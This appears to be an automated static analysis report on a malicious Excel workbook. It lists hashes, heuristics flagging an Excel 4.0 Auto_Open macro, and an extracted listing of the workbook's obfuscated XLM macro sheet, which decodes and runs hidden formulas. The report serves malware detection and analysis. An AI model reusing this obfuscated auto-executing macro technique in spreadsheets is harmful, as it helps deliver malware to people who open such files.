Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5e7694f5523938ed…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:29:36 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: b6dca39557c1dc9887ab1aea2ffc98bd SHA-1: b62e006ba023b0faaed2ec0875cef2b28475a6e1 SHA-256: 5e7694f5523938ed2f4d171c532fead84161a79f871db3f740fe849f042b3056
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6383 bytes
SHA-256: 6d343acf9569b68354d4f58d5b5c5b6619b1ce00a8098d4cd70c59615f270027
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EVP
' 0018     24 LABEL : Cell Value, String Constant - AuEsFKprI len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D169 
' 0018     22 LABEL : Cell Value, String Constant - BLbfUPm len=0 
' 0018     22 LABEL : Cell Value, String Constant - BPpkKYY len=0 
' 0018     27 LABEL : Cell Value, String Constant - cbmYbaeJsXgH len=0 
' 0018     27 LABEL : Cell Value, String Constant - DgsnwvqbwbZs len=0 
' 0018     22 LABEL : Cell Value, String Constant - eWFUAis len=0 
' 0018     25 LABEL : Cell Value, String Constant - HUdWVxURKP len=0 
' 0018     26 LABEL : Cell Value, String Constant - hvIFHZLKRFD len=0 
' 0018     26 LABEL : Cell Value, String Constant - IYEfdkhGjgU len=0 
' 0018     25 LABEL : Cell Value, String Constant - LzqsZNAMWZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - MgMkrk len=0 
' 0018     21 LABEL : Cell Value, String Constant - NKGZSO len=0 
' 0018     27 LABEL : Cell Value, String Constant - NOfcklYHaFHS len=0 
' 0018     20 LABEL : Cell Value, String Constant - pknnC len=0 
' 0018     26 LABEL : Cell Value, String Constant - tRZnCLixtlL len=0 
' 0018     25 LABEL : Cell Value, String Constant - urubqlYrvu len=0 
' 0018     24 LABEL : Cell Value, String Constant - vANJRjFfZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - VEvjb len=0 
' 0018     25 LABEL : Cell Value, String Constant - WAFuJfPaPX len=0 
' 0018     20 LABEL : Cell Value, String Constant - zPgbY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EVP,D75,"SET.NAME("MgMkrk",VALUE("0"))",""
'  EVP,D79,"SET.NAME("IYEfdkhGjgU",MgMkrk)",""
'  EVP,D84,"SET.NAME("NKGZSO",MgMkrk)",""
'  EVP,D89,"SET.NAME("NOfcklYHaFHS",COUNTA(WAFuJfPaPX))",""
'  EVP,D92,"SET.NAME("BLbfUPm",COUNTA(VEvjb))",""
'  EVP,D96,[],""
'  EVP,D100,"SET.NAME("AuEsFKprI","")",""
'  EVP,D103,"IYEfdkhGjgU",""
'  EVP,D108,"SET.NAME("pknnC",HLOOKUP("*",WAFuJfPaPX,IYEfdkhGjgU,FALSE))",""
'  EVP,D110,"HUdWVxURKP",""
'  EVP,D113,"SET.NAME("vANJRjFfZ",MgMkrk)",""
'  EVP,D116,[],""
'  EVP,D119,"vANJRjFfZ",""
'  EVP,D123,"BPpkKYY",""
'  EVP,D125,"DgsnwvqbwbZs",""
'  EVP,D130,"cbmYbaeJsXgH",""
'  EVP,D135,"SET.NAME("LzqsZNAMWZ",VALUE(HLOOKUP("*",VEvjb,cbmYbaeJsXgH,FALSE)))",""
'  EVP,D140,"eWFUAis",""
'  EVP,D143,"AuEsFKprI",""
'  EVP,D146,"NKGZSO",""
'  EVP,D149,NEXT(),""
'  EVP,D151,"tRZnCLixtlL",""
'  EVP,D156,"SET.NAME("f",INT(T(FORMULA(T(AuEsFKprI)&"",""&T(tRZnCLixtlL)))))",""
'  EVP,D159,"hvIFHZLKRFD",""
'  EVP,D161,NEXT(),""
'  EVP,D166,RETURN(),""
'  EVP,D195,"SET.NAME("zPgbY",D75)",""
'  EVP,D200,"WAFuJfPaPX",""
'  EVP,D202,"SET.NAME("VEvjb",R41C14)",""
'  EVP,D206,"SET.NAME("hvIFHZLKRFD",214)",""
'  EVP,D209,"SET.NAME("urubqlYrvu",4)",""
'  EVP,D213,zPgbY(),""
'  EVP,D214,HALT(),""